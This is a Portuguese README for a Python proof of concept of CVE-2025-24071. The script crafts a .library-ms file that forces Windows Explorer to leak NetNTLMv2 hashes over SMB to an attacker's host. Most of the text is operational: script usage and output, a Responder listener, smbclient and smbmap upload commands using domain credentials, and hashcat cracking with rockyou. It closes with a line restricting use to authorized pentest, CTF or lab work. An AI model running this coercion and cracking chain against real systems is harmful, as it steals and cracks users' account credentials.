
PoC em Python para CVE-2025-24071 que cria um arquivo .library-ms para forçar o Windows Explorer a vazar hashes NetNTLMv2 via SMB para captura e quebra.
CVE-2025-24071 — coerção NTLM via .library-ms (método SMB / TAR)
Solicita o seu IP de ataque e um nome de arquivo, escreve um .library-ms apontando para
\\<IP>\share, e o empacota em exploit.tar. Quando o Explorer navega pela pasta onde o
.library-ms solto é colocado, ele resolve automaticamente esse caminho UNC e vaza o
NTLMv2 da conta para o seu listener — sem precisar de clique.
⚠️ O
.library-mssolto é o que dispara — não o.tar. Um.tarparado no compartilhamento é inerte; o Explorer não interpreta tarballs. Você precisa colocar o próprio.library-msno compartilhamento como um arquivo solto. Como fazer isso depende da ferramenta (abaixo).
uv run coerce_library.py # or: python3 coerce_library.py
Attack IP [10.10.14.197]:
File name [documents]:
[+] documents.library-ms -> \\10.10.14.197\share
[+] packed into exploit.tar
sudo responder -I tun0
.library-ms em um compartilhamento gravávelsmbclient — envie o .tar, extraia-o no lado do servidor com tar x (deixa o
.library-ms solto ao lado dele):
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'put exploit.tar; tar x exploit.tar'
smbmap — não tem etapa de extração, então envie o .library-ms solto diretamente
(enviar o .tar aqui não faz nada — ele não consegue descompactá-lo):
smbmap -H <TARGET> -d <DOMAIN> -u <USER> -p <PASS> --upload exploit.library-ms 'IT/exploit.library-ms'
Confirme que ele chegou solto no compartilhamento:
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>' -c 'ls' | grep library
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
☧ apenas para uso autorizado em testes de penetração / CTF / laboratório ☧